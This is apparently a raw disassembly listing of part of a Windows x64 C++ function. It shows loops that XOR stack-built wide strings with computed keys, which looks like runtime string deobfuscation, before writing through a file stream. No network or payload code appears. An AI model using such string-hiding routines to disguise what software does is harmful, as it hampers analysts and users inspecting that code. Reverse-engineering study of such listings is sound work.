movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm10
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x1402ad0e0]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm12
paddw xmm3, xmm0
movq xmm1, qword [rbp - 0x70]
pxor xmm3, xmm1
movq qword [rbp - 0x70], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rbp - 0x78]
lea r10, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x69
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
movzx eax, r9w
add ax, ax
add cx, 0x41
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xf
jl 0x14020e180
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x1a0]
call fcn.14025ad00
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 8
cmovae rdx, qword [rbp + 0x50]
mov r8, qword [rbp + 0x60]
mov rcx, rax
call fcn.140261370
mov r11, rax
movups xmm0, xmmword [str.coewek_v._0_Y]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1402aaba8]
movsd qword [rsp + 0x78], xmm0
movzx eax, word [0x1402aabb0]
mov word [rbp - 0x80], ax
mov r9d, r15d
cmp ebx, 2
jl 0x14020e3e5
movdqa xmm6, xmmword [0x1402ad190]
movd xmm8, esi
movdqa xmm7, xmmword [0x1402ad180]
movd xmm10, r14d
movdqa xmm12, xmmword [str.AAAAAAAA]
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm10
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x1402ad0e0]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm12
paddw xmm3, xmm0
movq xmm0, qword [str.coewek_v._0_Y]
pxor xmm3, xmm0
movq qword [rsp + 0x68], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm10
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x1402ad0e0]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm12
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x70]
pxor xmm3, xmm1
movq qword [rsp + 0x70], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x68]
lea r10, [r10 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x69
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
movzx eax, r9w
add ax, ax
add cx, 0x41
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xd
jl 0x14020e400
lea rdx, [rsp + 0x68]
mov rcx, r11
call fcn.14025ad00
lea rcx, [rbp + 0x1a8]
call fcn.1402589d0
test rax, rax
jne 0x14020e49b
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1a0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x50]
call fcn.140258f70
movups xmm0, xmmword [rbp + 0x30]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rbp + 0x40]
movups xmmword [r13 + 0x10], xmm1
movdqa xmm0, xmmword [0x1402ad080]
movdqu xmmword [rbp + 0x40], xmm0
mov word [rbp + 0x30], r15w
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
lea rcx, [rbp + 0x1a8]
call fcn.1402559e0
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x248]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x30]
call fcn.140258f70
nop
lea rcx, [rbp + 0x88]
call fcn.140258f70
nop
mov rcx, qword [rbp + 0xb0]
movsxd rdx, dword [rcx + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rdx + 0xb0], rax
mov rcx, qword [rbp + 0xb0]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x88]
mov dword [rbp + rdx + 0xac], r8d
jmp 0x14020e621
xor eax, eax
mov word [rsp + 0x40], ax
lea rdx, [rsp + 0x40]
mov rcx, r13
call fcn.140257350
nop
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x1a0], rbx
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
lea rcx, [rbp + 0x1a8]
call fcn.1402559e0
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x248]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x30]
call fcn.140258f70
nop
lea rcx, [rbp + 0x88]
call fcn.140258f70
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xb8]
call fcn.140256eb0
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
mov rax, r13
mov rcx, qword [rbp + 0x5300]
xor rcx, rsp
call fcn.14027cdd0
lea r11, [rsp + 0x5490]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret